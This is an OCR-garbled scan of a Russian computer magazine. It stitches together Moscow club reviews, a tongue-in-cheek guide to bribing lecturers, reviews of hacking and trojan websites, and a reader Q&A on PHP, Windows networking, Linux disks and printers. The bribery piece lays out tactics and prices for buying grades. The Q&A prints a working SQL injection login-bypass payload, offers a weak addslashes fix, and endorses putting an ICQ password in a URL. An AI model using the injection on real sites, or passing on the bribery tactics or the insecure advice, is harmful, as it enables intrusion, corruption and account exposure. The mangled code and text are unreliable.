практически отсутствущий фейс-контроль. 
Чрево клуба скрывает три этажа, два танцпо- 
ла — один музыкой попроще, второй для тре- 
бовательных посетителей. Третий этаж зовется 
людьми Тиск Тіоог'ом, где имеется множество 
маленьких сИІІІ оиТ'ов — комнат, отлично прис- 
пособленных для получения удовольствий 
Промоутеры клуба периодически устраивают 
темы, как в уже забытой «Голодной утке», когда 
барышень заправляют алкоголем по снихген- 
ным ценам. В «Зоне» довольно забавно, хотя 
общая обстановка мясного отдела универма- 
га заставляет чувствовать себя белой крысой. 



«Культ» 

Адрес: Яузская, 5, метро Китай-город, Таганская 

АГТеграгіу-места всегда были в теме, ной ргерагТу- 
клубы вряд ли потеряют свою актуальность. В 
«Культе» играют расслабленную музыку лаунж, 
регги, фанк и даунтемпо. Люди отсиживаются на 
удобных диванах, поглощая здоровую пищу. Пи- 
ща часто приходит с опозданием, про неуклю- 
жесть местных официантов складывают легенды. 
Место находится в центре Москвы, но найти его не 
совсем просто — «і<ульт» прячут в подворотне. 
Фейс-контроль присутствует исключительно номи- 
нально, место вполне демократичное. Для многих 
гулящих москвичей данная точка заменяет более 
дорогие «і<урвуазье» и «Пирамиду». Местное ме- 
ню действительно доступно. і<луб также известен 
демонстрацией альтернативного кино, коротко- 
метражек от режиссеров-экспериментаторов. 



«Слава» 

Дчрѳс; Шоссе Энтузиастов, 58. метро Шоссе Энтузиастов 

Полное название «славной» дискотеки — Куль- 
турно-развлекательный комплекс. Здание кино- 
театра расположено в Перово. Внутри ОЗз иг- 
рают электронику, в основном рго-Ьоизе, гости 
играют в боулинг и бильярд. Как водится, прису- 
тствуют ресторан и чиллаут. Сюда однажды на- 
ведывался легендарный Міск \Л/аггеп. Приезды 
звезд эстрады оборачиваются не самыми де- 
шевыми билетами, часто по 400 р. за штуку. 
і<луб не проигрывает конкурентам и по набо- 
левшей теме туалетов, которые здесь оформле- 
ны бурным неоном. Организаторы на радость 
>|<ителям ближайших окрестностей обильно пот- 
чуют гостей мужским и женским стриптизом. Вы- 
бираться отсюда лучше на такси — московс- 
кие окраины не всегда дружелюбны к ночным 
странникам. 



Куда же? 

)( не станет показывать пальцем, однако нам 
самим более всего симпатичен клуб «Мио». 
Наш скромный обзор поможет тебе не ударить 
в грязь лицом, когда приятели и знакомые де- 
вушки устроят обсуждение клубной темы: ты бу- 
дешь более других проинформирован. Осо- 
бенно по вопросу, в каком клубе самый инте- 
ресный и комфортабельный туалет :) © 
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июнь... СЕССИЯ В САМОМ РАЗГАРЕ. ЗАЧЕТЫ, ЭКЗАМЕ- 
НЫ, КУРСОВЫЕ РАБОТЫ, ЗАЩИТЫ ДИПЛОМНЫХ ПРОЕК- 
ТОВ. СУЕТА, ТОЛПЫ НАРОДА ПЕРЕД АУДИТОРИЯМИ, СДА- 
ЧИ «ХВОСТОВ» И... А ВОТ ЧТО ЕЩЕ ПРОИСХОДИТ В УНИ- 
ВЕРСИТЕТАХ И ИНСТИТУТАХ, ПУТЯГАХ И ТЕХНАРЯХ — ОБ 
ЭТОМ ТЫ УЗНАЕШЬ, ПРОЧИТАВ МОЮ СУПЕРМЕГАБЛОК- 
БАСТЕРСКУЮ СТАТЬЮ. 



[коротко о ситуации] «Здоровье и знания не купишь!!!» — 
ты веришь в это утвер>кдение? Я уже давно в него не ве- 
рю. Есть бабки — можешь обеспечить себе хорошую 
клинику и лечиться том по всем правилом и со всеми 
удобствами. Главное, действительно, чтобы были день- 
ги. А том у> 1 < и СПИД вылечат, и ногу пришьют, и после 
операции сможешь но скрипке играть, хотя раньше ни- 
когда не умел. То же самое происходит и в среде обу- 
чения. Необязательно напрягаться и учить ненавистные 
предметы. Достаточно иметь небольшое (относитель- 
но) количество зелени но кармане. В этом случае прак- 
тически все преподы сразу становятся добрыми, при- 
ветливыми и отзывчивыми, и видят в тебе если не Альбер- 
та Эйнштейна, то у>і< Жореса Алферова точно! !<оі< по- 
нимаешь, рынок есть рынок. И цены но все продукты ко- 
леблются в различных пределах. Ток, если универ тех- 
нический, то особо обдирать тебя за какой-нибудь за- 
чет по обществознонию не станут. Однако за информа- 
тику, к примеру, тебе придется положить в конвертик 
приличную сумму. Оно и правильно: ведь ты же не чмо 
из подворотни, ты ТЕХНАРЬ! И долх<ен знать информати- 
ку наизусть, ведь язык программирования — твой вто- 
рой язык. Зачастую преподы так наглеют, что просто не 
желают ставить тебе зачет, вымогая твои кровно зара- 
ботанные тугрики. Но есть и такие, которые идут в отказ 
(и как-то роз входит их главный и еще один Гондурас (с) 
«Кровосток») от предлагаемых денег. В этом случае 
приходится нерадивым студентам напрягаться. Почему 
преподаватели отказываются от материальной помо- 
щи? Причины могут быть разными. Например, препод 



держится 30 свое место и не хочет светиться лишнии 
роз, боится ОБЭПо. Либо же у него хорошая заработ- 
ная плота но стороне. У меня, к примеру, одно препод- 
шо ездит но новеньком д>кипе ВМѴѴ Х5. Куда ей деньги- 
то еще? Тем более, в таких мизерных по сравнению с 
ее социальным статусом размерах. Известен случай, 
когда двое ребят вложили в свои зачетки по сотне уби- 
тых енотов и отдали красные книжки препу. Мол, вы тут 
пока посмотрите но ноши оценки, о мы сходим покурить и вернем- 
ся. Что ж, вернулись, забрали свои зачетки, думали, что том пять. 
Аго, сто пятьдесят, о не пять! Профессор, имея свой собственный 
завод и преподавая в свое удовольствие, проникся тяжелым мате- 
риальным положением студентов и вложил им еще по пятьдесят дол- 
ларов, чтобы было чем запить отсутствие заветного зачета. 

Но ток или иначе, а денежки народ любит. Ой кок любит. Ты доже 
не представляешь, но что могут сподвигнуть алчность и деньги! 

[техника] Давай теперь посмотрим, как все происходит но сомом 
деле. Ведь нигде нет никаких прейскурантов, кок же узнать, почем 
пряники? Не подойдешь же прямо к преподавателю и не скажешь: 
«Марь Бонно, тут, короче, токая тема: с другономи весь семестр 
бухали, ничего не учили, вот вам зелень, купите себе что-нибудь, ни 
в чем не отказывайте, сдачу можете не возвращать!». С таким под- 
ходом тебя выкинут из института тут же, и полетишь ты, как фанера 
НОД Парижем, Здесь все должно быть тонко, издалека. Не спорю, 
есть и такие доценты, которые прямо в начале учебного полугодия 
говорят, что, мол, пусть все скинутся по полтинничку и будет всем 
счастье. Но это редкие исключения. Практически единичные слу- 
чаи. В основном же, когда понимают, что зачета не видать, кок 
собственного копчика, приходится студентам брать взрослых ум- 
ных людей хитростью. Для начала, отведя в тихую аудиторию, пре- 
подов начинают разводить следующим образом: «Знаете, у меня 
проблемы с вашим предметом, все из-за тяжелой обстановки в 
семье, да и на работе завал, давайте, может быть, я помогу вам 
или вашей кафедре чем-нибудь?». Если этот вариант прокатывает, 
то необязательно помощь будет требоваться наличностью. Вполне 
возможно, что студента попросят приобрести какую-нибудь нуж- 
ную вещь для кафедры или для самого преподавателя. Например, 





монитор/обогреватель/пьяную привокзальную синявку. Что са- 
мое интересное, такой бартер очень выгоден, если чувак приоб- 
ретает зачет/экзамен не в одиночку, а, например, еще с пятью-де- 
сятью такими же тупорылыми своими одногруппниками. Тогда 
можно отделаться совсем смешной суммой на брата (пятьсот 
рублей — смех, да и только). Опт, как-никак. 

Если профессор отказывается от такой «помощи», то существует 
иной вариант. Студенты не стесняются просить дополнительные 
занятия за денежное вознаграждение (странно, посещать пары 
времени нет, а на продленку ходить оно находится). Разумеется, 
разные преподы имеют к этому свой подход. Кто-то честно обуча- 
ет студента дополнительно, а кто-то просто берет бабки и остав- 
ляет обучение «на потом». Так или иначе, а зачет человек получит 
обязательно. Доллары-то перекочевали преподавателю в кар- 
ман. И он «по дружбе» все поставит. 

Во многих вузах такая система дополнительных занятий уже давно 
легализована. Идешь в Сбербанк, оплачиваешь кругленькую сумму, 
возвращаешься на кафедру и получаешь задание на дом. И сов- 
сем не обязательно его делать. Почему? Смотри выше. 

Конечно, встречаются и очень принципиальные преподы, которых 
не купишь. Сни считают, что знания должны у человека быть, ина- 
че зачем ему диплом вообще. Таким предлагай хоть что: машину, 
квартиру, половину царства. Все по барабану. Покупаются толь- 
ко на знания в твоей голове. 

Но и это, как показывает практика, не проблема. Декан факульте- 
та может оказаться отзывчивым человеком. Сн может проставить 
все росписи и заветные «отл», «хор», «зач» своей рукой. Но это, как 
понимаешь, уже большое палево, и цена такой услуги взлетает 
сразу и очень высоко. Этот же вариант прокатывает, когда у сту- 
дента полный завал и ему необходима большая часть зачетов и 
экзаменов, а то и все сразу. Тут уже действует правило опта. Де- 
кан может и не делиться с преподами, так что зачастую такой ва- 
риант бывает более выгодным, чем пробивать каждый предмет по 
отдельности, бегая по всему институту и мотая свои нервы. 

В общем, везде все по-разному. Каждый случай уникален. Глав- 
ное — иметь запас наглости и уметь подруливать к людям. Давай 
же теперь, наконец, рассмотрим сводную таблицу-прейскурант 
на институтские «гвозди». 



[так почем же опиум для народа?] Так вот сразу взять и сказать точную 
сумму не возьмусь, 1<а>кдый институт индивидуален. 1<а>кдый человек, 
работающий в нем, имеет своих тараканов в голове. К тому же, обуча- 
ясь не на дневном, а на заочном или вечернем отделении, студенту все 
будет обходиться ГОРАЗДО дешевле. Но мы говорим об очном обуче- 
нии, так что давай я немного тебе опишу ситуацию с расценками. 
Такой тухляк, как физическая культура, ОБЖ, социология, политология 
и т.д. в техническом вузе обходится студентам не дороже пятисот руб- 
лей. Да и то если преподаватель видит студента и деньги в его руке 
впервые. Обычно можно договориться и за меньшую сумму, скостив 
ее парочкой своих посещений предмета. Преподы по таким заняти- 
ям понимают, что, в принципе, они нафиг никому не нужны, студентам 
совсем не интересно получать гуманитарные знания, если они обу- 
чаются на каких-нибудь специальностях вроде «систем и сетей». 
Гораздо сложнее обстоит ситуация с такими предметами, как мате- 
матический анализ, информатика, начертательная геометрия, анали- 
тическая геометрия, инженерная графика, алгебра логики, дискрет- 
ка. Это все уже технические специальности. Эти знания должны быть в 
голове у каждого инженера. А следовательно, чем дороже будут за- 
четы и экзамены по ним, тем большее количество людей попытается 
все выучить самолично, а не тянуться за хрустящими бумажками в кар- 
ман, Цены в этом случае колеблются выше отметки в сто долларов, 100 
— это я про зачет говорю, а вы что подумали? Экзамен захотели? Нет, 
за это придется сверху доложить еще долларов 200 как минимум. 

За всю сессию через декана придется выложить как минимум 800 
долларов. Это минимум. Все зависит, разумеется, от количества 
необходимых «покупок» и людей, которые за них ответственны. 
Таковы расценки для будущих инженеров в НЕмажорных учебных 
заведениях. Это средние цены. Но примерно все они таковы. Не 
знаю, как там в каком-нибудь МГИМО, но говорят, что взятки берут 
машинами, и представляете, их даже ДАЮТ. Вот так. Так что если 
собираешься в крутой вуз, то приготовься иметь усидчивость и 
знания либо же найди себе богатого попика. 

[тхе энд] Ладно, что-то я тут заболтался уже. И так лишнего наго- 
ворил. В общем, давай, удачи тебе на сессии и при поступлении 
(кстати, за него тоже можно заплатить). Никогда не давай взяток 
учителям. Лучше грызи прилежно гранит науки, амиго! © 
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ѴѴЕВМАЗТЕРЗ 
Иван Скляров 
(\ллл/\л/.5к1уаго1^.ги) 

Иван Кузнецов ака ЗееО 
(зеесі@п5к.ги) 



\ллллл/.пѳргаѵ.ги *-\ллллл/.пеЬоІѳ1‘.ги 

Для того чтобы найти в дебрях интернета интересу- Когда я наткнулся на этот сайт, в моей памяти сразу же прос- 
ющий тебя сайт, ты, конечно же, обращаешься за кользнули воспоминания из детства, навеянные прекрасным 
помощью к какой-либо поисковой системе. Но из-за мультом про медведя, который безжалостно уничтожал мед и лю- 
того что информация вбивается в поисковик вруч- бил летать на воздушных шарах, прикинувшись тучкой. Оказывает- 
ную, существует немалая вероятность того, что ты ся, не только он один был поклонником такого странного и в то же 
допустишь ошибку в написании запроса. И таких время экстремального и романтичного времяпрепровождения, 
ошибок случается великое множество. Различные Ресурс описывает достижения людей, путешествующих на воз- 
«рефираты» и «полефании» в запросах поисковиков душных шарах и продолжающих нелегкое дело отважного медве- 
давно обошли по своему количеству правильно на- дя. На сайте выложены фото- и видеоматериалы путешествий на 
писанные слова. Ознакомиться с такими словами- воздушных шарах и описана технология производства данных де- 
заковырками ты сможешь, зайдя по адресу вайсов для полетов. 

\А/\А/\А/.пергаѵ.ги. „ 



ВСЯ ПРАВДА О МЕНТАХ 

ѵллллѵ.тизога.ги 

Взглянув на адрес сайта, несложно догадаться о том, 
какой он тематики и какой концепции креативы на нем 
расположены. Проект создан для того, чтобы поведать 
народу всю правду о неблагочестивых служителях 
правоохранительных органов, так называемых «обо- 
ротнях в погонах». На сайте много полезной инфы, ко- 
торая поможет тебе в нелегкой борьбе с данными ин- 
дивидуумами и снабдит советами, как с таковыми не 
встретиться на жизненном пути. Для этого существует 
сбор жалоб у населения и так называемый блэк-лист 
неприятелей. 



ѵллллл/.дигтгаг+.сопп 

Что мы делаем, когда хотим удовлетворить свои природные 
жевательные инстинкты? Правильно — идем в магаз, поку- 
паем бубль-гум и жуем его. После того как наша потреб- 
ность в жевании удовлетворена, мы не задумываясь выбра- 
сываем отработанный материал. Но креативные люди с 
сайта \А/\л/\л/.дитагі.сот считают, что это не вполне разум- 
но, Они используют отработанный материал в виде жева- 
ных резинок для создания разнообразных произведений 
искусства. Убедиться в этом можно, посетив их сайт, на ко- 
тором расположены картины, скульптуры и другие разно- 
образные творения, выполненные из использованных жева- 
тельных резинок. 





ФРАНЦУЗЫ НАСТУПАЮТ 

ѵллдлѵ.оиаН.огд 

Этот сайт — некое французское подобие раске'И'огтзесигіІу. Но не 
волнуйся, самоучитель французского языка тебе не понадобится — 
праістически вся информация на английском. Инфа удобно разбита на 
разделы: Ви№г ОѵеіИоѵл/, кодіпд, Зпі^іпд, ВасксІоог5/Г?оо11<ІІ5/Тгоіапз, 
ѴѴогтз/Ѵігизез, ЗрооНпд, ЭоЗ, ЮЗ. Есть даже раздел Зсгірі" Кісісііез, в кото- 
ром выложен элитный и нужный любому скрипт-кидди документ РРС 
31337. Отдельно выделена страница с хак-тулзами. Вот только вся инфа 
и программы касаются исключительно ЕІМІХ-систем. И никаких окон! 

ВСЕ О ТРОЯНСКИХ конях 

\ллллѵ.теда$есигі1у.огд 

Данный сайт в миру известен еще по урлу ѵѵѵѵт.коЬауазІіі.ср.пеі. 
Роли тебя интересует какая-либо информация по троянским ко- 
ням, то тебе прямая дорога сюда. Здесь есть все; описание троя- 
нов, методология детектирования и устранения, как написать 
свой троян, баги, которые используют трояны, бинарники и исход- 
ники троев. Полно и околотроянской информации: бэкдоры, ска- 
нирование, туннелинг, кейлоггеры, черви, руткиты и даже туториал 
по аосемблеру. Ведется ежедневная лента троянских новостей. 
Короче, достойный ресурс в коллекции любого Х-мена. 

ВІВЛИОТЕКА ПРОГРАММИСТА 

И11р://ЬіЬ.сот.иа 

Хохлы заколбасили очень неплохой проеіст для программистов. Разу- 
меется, вся информация на русском, хотя и вотречаются фразы вро- 
де «Як написати інструкцію?». Здесь собран огромный архив статей 



и исходникав со всего инета для всех известных языков программиро- 
вания и платформ. Тут тебе и программирование драйверов под ОМХ, 
и расширения программ М3 ОТЯсе. Можно опубликовать свой исход- 
ник. Достаточно выслать его на указанный е-таіі. Есть раздел «Рабо- 
та», где ты сможешь поместить свое резюме и поискать вакансии. 

ТЕСНNIСА^ ІИРО ВОТ НЕТ 

-\ллллл/.1есТіпІсаІІпТо.пе1 

«Мое имя — Гантер Олман. И я автор всех материалов на этом сай- 
те», — так начинается раздел АЬоиГ проекта ТесГшіса! ІпГо сІоГ МеГ. 
Этот паренек налабал нехилое число интересных материалов. 
Вот лишь некоторые названия: «АпГІ ВгиГе Рогсе Резоигсе МеГегіпд», 
«РІРР ЕпсосІесІ АГГаскз», «НТМГ Сосіе Іп]есГіоп апсі Сгозз-зіГе зсгірГ- 
іпд», «ТГіе РГіізГііпд биісіе», «Маі! Ыоп-сіеііѵегу МоГісе АГГаскз», «іпзГапГ 
Меззепдег ЗесигіГу». Кроме того, Гантер накодил множество инет- 
тулз, которые ты сможешь найти и опробовать в разделе Тооіз. 

ВОЕННЫЕ ПРОГРАММИСТЫ 

ѵлдлл/.аст.иіис.есІи/зідппіІ/іпсІех.зМппІ 

Сайт специальной группы, занимающейся разработкой военных 
приложений (ТГіе Зресіа! іпГегезГ Ѳгоир Гог МІІІГагу АррІісаГіопз (ЗІОМІІ)) 
Иллинойского университета США. Самих прилох<ений мне, правда, 
на сайте обнару>кить не удалось, но зато удалось найти описание 
проеіаов, которыми занимается группа, описание книг, которые груп- 
па предлагает прочитать (забавно, но там упоминается и книга рос- 
сийского автора Криса Касперски), ссылки и сведения о членах 
группы. На сайте таіоке вылох<ена книга, написанная двумя членами 
группы, под названием «іпГгосІисГіоп Го Реѵегзе Епдіпеегіпд ЗоГГл/аге». 
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ЗАДАВАЯ ВОПРОС, ПОДУМАЙ! НЕ СТОИТ МНЕ ПОСЫЛАТЬ 
ВОПРОСЫ, ТАК ИЛИ ИНАЧЕ СВЯЗАННЫЕ С ХАКОМ/КРЯ- 
КОМ/ФРИКОМ, — ДЛЯ ЭТОГО ЕСТЬ НАСК-РАО (НАСК- 
РАО@ВЕАЬ.ХАКЕР.Ри). НЕ СТОИТ ТАКЖЕ ЗАДАВАТЬ ОТК- 
РОВЕННО ЛАМЕРСКИЕ ВОПРОСЫ, ОТВЕТ НА КОТОРЫЕ 
ТЫ ПРИ ОПРЕДЕЛЕННОМ ЖЕЛАНИИ МОЖЕШЬ НАЙТИ И 
САМ. Я НЕ ТЕЛЕПАТ, ПОЭТОМУ КОНКРЕТИЗИРУЙ ВОП- 
РОС, ПРИСЫЛАЙ КАК МОЖНО БОЛЬШЕ ИНФОРМАЦИИ. 



проверять введенную пользователем информацию на 
наличие кавычек. Не будет кавычек — не будет изме- 
нено условие запроса, а значит, не будет и инъекции. 
Для этото воспользуемся следующей функцией, кото- 
рая добавляет перед кавычкой слэш и превращает 
его в управляющую последовательность: \'. Она не 
изменит запрос, а просто станет частью условия на- 
равне со всеми остальными символами. 

!ипс(іоп 8а(е_1егт($ѵагіаЫе) { 

$ѵагіаЫе = асІсІ5Іа5(те5(1гіт($ѵагіаЫе)); 
геШгп $ѵагіаЫе; 

} 

А теперь с ее помощью изменим наш запрос: 



Я хочу опубликовать недавно написанный РНР- 
скрипт в интернете, но боюсь, что он полон уязви- 
мостей и багов. Меня особенно интересует техни- 
ка атаки ЗОСІпіес+іоп. Расскажи, как от нее можно 
защититься. 

Л..- Напомню, ЗОЬинъекция — это возможность поль- 
зователя неправомерно выполнять ЗОЬзапросы на 
сервере. От этого определения, собственно, и нужно 
танцевать. Чтобы хакер не передал на сервер свой 
ЗОІ-запрос, надо лишить ето такой возможности, за- 
латав все дыры. Рассмотрим небольшой пример. 
Многие сайты имеют систему авторизации пользова- 
теля. Как правило, она реализована крайне просто: 
специальный скрипт сверяет введенные юзером ло- 
гин/пароль с данными из базы, после чето выдает со- 
ответствующий результат. На практике это вытлядит 
примерно так: 

$ѵаІісІ = ту5^I_^ие^у("ЗЕ^ЕСТ ЕІзетате, РаззѵѵогсІ 
РВОМ ЕІзегз ѴѴНЕВЕ ЕІзетате = ' ".$_РОЗТ['изег- 
пате']." ' апсі РаззѵѵогсІ = ' ".$_РОЗТ['раззѵѵогсІ']. ); 

С первого взгляда вполне безопасный код, но... Стоит 
ввести в поле имени пользователя «' ОР 1=1 #» (без ка- 
вычек), и серверу передастся следующий запрос: 

ЗЕЕЕСТ ЕІзетате, РаззѵѵогсІ РВОМ ЕІзегз ѴѴНЕВЕ 
ЕІзетате = " ОВ 1=1 #' апсІ РаззѵѵогсІ = " 

Хэш-символ (#) в ЗОЕ-запросах используется как указа- 
тель на комментарии, а все, что идет после нето (все не- 
обходимые условия для выполнения запроса), сервером 
попросту игнорируется. Единица всегда равна единице 
(1=1), поэтому логическое условие ОР 1=1 не накладыва- 
ет отраничения на результат запроса. В итоге сервер, 
имея на то полные основания, вернет в качестве резуль- 
тата таблицу со всеми лотинами и паролями. Как тебе? 
Чтобы избавиться от бага, в нашем случае достаточно 



$изегпате = заіе_1егт($_РОЗТ['изегпате‘]); 

$раззѵѵогсІ = за1е_Іегт($_РОЗТ['раззѵѵогсІ']); 

$с1теск = тузр1_риегу("ЗЕЕЕСТ ЕІзегпате, РаззѵѵогсІ, ЕІзегЕеѵеІ 
РВОМ ЕІзегз ѴѴНЕВЕ ЕІзегпате = ' ".$изегпате." ' апсі РаззѵѵогсІ = ' 
".$раззѵѵогсІ." ' "); 



В нашей сети проблема: постоянно тормозит браузинг. Рабо- 
тать через сетевое окружение практически невозможно. Сеть 
состоит из 20 компьютеров с ѴѴІпХР Рго, которые находятся в рабо- 
чей группе. Контроллер домена отсутствует. 

Л.- Довольно распространенная проблема, особенно для локальной 
сети, использующей рабочую труппу. Служба браузинга в сетях 
МІсгозоИ отвечает за просмотр списка компьютеров в сетевом окруже- 
нии, а таіоке ретистрацию в них новых компьютеров. Для того чтобы эта 
система правильно функционировала, в каждой подсети (или просто 
сети, как в твоем случае) должно работать максимум не более трех 
компьютеров, на которых служба браузинта включена. Для чето это нуж- 
но? Один из этих компьютеров становится активным мастером браузин- 
га — фаіаически, именно он выполняет все необходимые функции сер- 
виса. Два остальных компьютера итрают роль резервных. Должности 
компьютеров определяются в результате выборов, где приоритет отда- 
ется контроллеру домена или, в случае его отсутствия, компьютеру со 
старшей операционной системой (ѴѴІпсіоѵѵб 2000 Зегѵег > чем ѴѴІпсІо\л/з 
ХР Рго и т.д.) и большим аптаймом (продолжительностью работы). Это хо- 
рошая система, но не лишенная недостатков. Отсюда и проблемы. 

В твоем случае роль мастера браузинта стремятся получить все 
компьютеры наперебой. Сначала его функции выполняет компью- 
тер, первым подключившийся к сети, и все идет хорошо. Но как толь- 
ко он из сети выходит, появляются проблемы. Начинаются перевыбо- 
ры мастера браузинга, и списки компьютеров в сетевом окружении 
или становятся недоступны, или открываются с большой задержкой. 



Чтобы полностью справиться с этой ситуацией, рекомендую оставлять 
один из компьютер постоянно включенным. Пусть он будет небольшим 
сервером. Настраивать его не надо. Единственное, что нужно сделать, 
— внести изменение в его реестр с помощью следующего Г?ЕѲ-файла: 

ПЕСЕ0ІТ4 

[НКЕѴ_ЕОСАІ_МАСНІЫЕ\ЗѴЗТЕМ\СиггепЮопІгоІЗеІ\Зегѵісез\Вгоѵѵ5 

ег\Рагатеіегз] 

''ІзОотаіпМаз(ег"="ігие" 

"Маіп(аіпЗегѵегЕізГ="уез'' 

На всех остальных компьютерах нужно воспользоваться другим 
РЕ0-файлом, Он настраивает клиентские машины таким обра- 
зом, что они полностью лишаются возможности быть выбранными 
на роль мастера браузинга и, соответственно, не мешают работе 
сети. А вот и сам РЕѲ-файл: 

ПЕЗЕ0ІТ4 

[НКЕѴ_ЕОСАІ_МАСНІЫЕ\ЗѴЗТЕМ\СиггепІСопІгоІЗеІ\Зегѵісез\Вгоѵѵз 

ег\Рагатеіегз] 

''ІзОотаіпМаз(ег"="(аІзе" 

"Маіп(аіпЗегѵегЕізГ="по" 

Изменения вступят в силу только после перезагрузки. 

Недавно установил и настроил на своем телефоне отличный 
^аѵа-апплет — Лтт, позволяющий общаться по ІСО непосред- 
ственно с мобильного телефона. Теперь вот друзья тоже захотели ;). 
Все бы хорошо, но далеко не каждый телефон поддерживает ^аѵа. 
Может быть, есть и другие способы пообщаться в аське с мобилы? 
Я,: Разумеется, есть, В последнее время большую популярность 
снискал специальный \Л/АР-сервис — Шр://ііаі.сот. Изумительная 
разработка поддерживает сети ІСО и МЗМ и предоставляет практи- 
чески полный спеіар стандартных возможностей. Я лично общался 
через этот сервис в ІСО, поэтому смею заверить, что все работает 
как швейцарские часы. Ты сможешь считывать контаісты с сервера, 
отправлять сообщения в руоской кодировке, просматривать статус 
собеседника и изменять свой собственный, а таіоке легко искать и 
добавлять контакты. Более того, оервио позволяет прооматривать 
информацию о пользователе и вести логи разговоров. 

Автор на все 100% ручается, что использовать этот оервио можно 
совершенно опокойно, не опасаяоь за сохранность своего уина. 
По-моему, нет ни одной причины, по которой ему нельзя было бы 
доверять. В подтверждение его олов говорит и то, что сервис не 
сохраняет пароли. Их каждый раз приходится вводить заново или 
забивать в телефоне закладку типа: Шр://\А/арЛ]а1сот/1?и=уоиг- 
ІСОпитЬѳг&р=уоиграв5ѵѵогсІ, 



Объясни, пожалуйста, как в С++ можно вызвать функцию через 
указатель. Это же возможно, верно? 

Л,.-В С-н-г возможно все, ну или почти все :). Объясняю на пальцах. До- 
пустим, имеется функция, которая не возвращает параметров: 

ѵоісі туРипсІіоп(){ <тело функции> }; 

Инициализируем указатель на функцию (на какую, пока неизвеотно): 

ѴОІСІ (*рРипс1іоп)(); 

Пускай этот указатель будет ссылаться на функцию туРипс1іоп(). 
Для этого используем операцию взятия адреоа (синтакоис ее ис- 
пользования: &<имя объекта>): 

ррипсііоп =&туРипс1іоп; 

Вот теперь можно вызвать функцию туЕипсІіопО через оозданный 
указатель: СрРипсі'юпХ): 

По долгу службы мне постоянно приходится делсгть бэкап некото- 
рых файлов на сервере. После долгих поисков я пришел к выводу, 
что лучше связки ѴѴіпКАІ? + ппСгоп ничего нет и быть не может. Но есть 
одна проблема. Во время архивирования данных ѴѴІпРАІ? не по-детс- 
ки грузит систему, что довольно часто приводит к сбоям в работе 
других сервисов. Может быть, можно установить для Ѵ\/іпІ?АІ?'а пони- 
женный приоритет или как-нибудь притормозить его? 

Я: Недаром ѴѴІпРАІ? {уѵут/.ѵѵіп-гаг.сот) считают одним из самых 
продвинутых архиваторов. И это благодаря не только отменному 
уровню компрессии, но еще и уникальной универсальности. Он 
имеет огромное количество самых разных опций, функций и настро- 
ек, однако рядовые пользователи почему-то обходят их стороной. 
Если внимательно почитать мануал к программе, то несложно за- 
метить ключ гі<р>(:<5>), который можно использовать в консольной 
версии программы. Это именно то, что тебе нужно! 

С его помощью пользователь получает возможность управлять 
уровнем загрузки системы задачей 1?АР'а. Уровень выданного ей 
приоритета определяется параметром <р>, принимающим зна- 
чения от о до 15. Значению 1 соответствует минимальный приори- 
тет процесса, 15 — максимальный. Нулевое значение указывает 
системе, что надо использовать приоритет по умолчанию. 
Параметр <з> указывает время, которое архиватор будет отдавать 
системе и другим приложениям после ка>і<дой своей операции. 
Если ты укажешь минимальный приоритет приложению и время 
простоя, равное 1000 мс (максимальное значение этого парамет- 
ра), нагрузка на систему со стороны архиватора будет минималь- 
на. В командной строке это выглядит так: ЙАЙ а -гі1:10СЮ Ьаскир '. *. 
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Помогите! На днях купил себе новый винчестер с ЮЕ-интерфей- 
сом, но не могу понять, как его заставитъ работать под Ііпих'ом. Если 
честно, то с этой операционной системой я пока мало знаком, 

я,.- Для начала неплохо было бы узнать, обнаружила ли система это 
устройство. Для этого в консоли набери команду сітезд I тоге. Проа- 
нализиравав неслажный вывод команды, все сразу станет ясно. 
Предположим, что новый винчестер подключен какЗесопсІагу ЗІаѵе. 
В этом случае система может обращаться к нему по специальному 
адресу /сІеѵ/МсІ. Чтобы поделить новый винчестер на разделы, 
воспользуйся стандартной утилитой Мізк, в параметрах запуска ко- 
торой укажи адрес нового жесткого диска. Делается это так: №к 
/сІеѵ/МсІ. Далее с помощью интерактивного меню обозначь разме- 
ры новых разделов и выполни окончательное разбиение. 

Если на этом этапе ты сделаешь все правильно, то в зависимости 
от количества созданных разделов в каталоге /сіеѵ появятся но- 
вые записи: ІтсІсП, 1тс1с12 и т.д. Но для полноценной работы необхо- 
димо эти диски отформатировать. Здесь тебе в помощь утилита 
ткі'з, входящая в состав любой *піх-системы. Например, для фор- 
матирования первого раздела в файловой системе Ііпих доста- 
точно в командной строке набрать ткѣ /сІѳѵ/МсИ . Однако по 
умолчанию такой раздел не будет доступен под ѴѴІпсІо\л/з, Если в 
этом есть необходимость, то его надо отформатировать под фай- 
ловую систему N733 или РАТ. Синтаксис использования тк7з в этом 
случае: ткРз -7 <название_файловой_системы> <адрес раздела>. 
Остается только примонтировать новые разделы в нужные дирек- 
тории системы — и можно приступать к работе: 

тксііг /тп1/га2СІеІ1 
тксііг /тп 1 /га 2 сіеІ 2 
тоипі /сіеѵ/7ісісі1 /тп(/га 2 с!еІ 1 
тоипі /сІеѵ/7ісісІ2 /тп(/га2СІеІ2 

Еще одна тонкость. Чтобы не выполнять монтирование разделов 
каждый раз, достаточно соответствующим образом отредактиро- 
вать файл /е7с/7з7аЬ. Точнее, добавить в него две строчки: 

/с!еѵ/ІтсІсІ1 /тп(/га2с1е11 ех(3 сіе7аиііз 1 1 
/сІеѵ/!ісІсІ2 /тп(/га2с1е12 ех(3 с1е7аи11з 1 1 

Это легко реализуемо с помощью консольного текстового редактора ѵі. 

Не так давно купил принтер Затзипд 1750. Отличный аппарат, 
но стандартного картриджа хватило всего на 1100 страниц. Ду- 
мал, заправить его будет проще простого, но вот незадача: тоне- 
ра под него не найти. Обошел все магазины в городе — нигде нет. 
Может быть, подойдет тонер от другого принтера? Они вообще 
чем-нибудь отличаются? 

Л.- Нет! Ни в коем случае нельзя заправлять картридж тонером, 
который предназначен для другого принтера. Дело в том, что каж- 
дый тонер имеет свои индивидуальные химические, физические и 
термические свойства. Под любой аппарат, будь то принтер, 
факс или ксерокс, производится определенный тонер. И только 
им можно заправлять. К чему может привести использование неп- 
равильного тонера? Отвечаю: ко всему, в том числе и к полной по- 
ломке принтера. 

Как известно, после нанесения тонера бумага проходит через так 
называемую печку. Если на этом этапе свойства тонера (особен- 
но термические) не совпадают с оригиналом, то тонер запросто 
может налипнуть на тефлоновый вал, имеющийся в любом принте- 
ре. Последствия в этом случае будут самые печальные. К печке 
может налипнуть бумага, и тогда картридж с 90% вероятностью 
придется отправлять в утиль. Более того, не исключено, что доста- 
нется и термодатчику, что, скорее всего, приведет к перегреву 
печки и полному выходу из строя. А следовательно, и к погоревше- 



му блоку питания, который не предназначен для таких нагрузок. 
Что касается твоего принтера, то компания Затзипд не реко- 
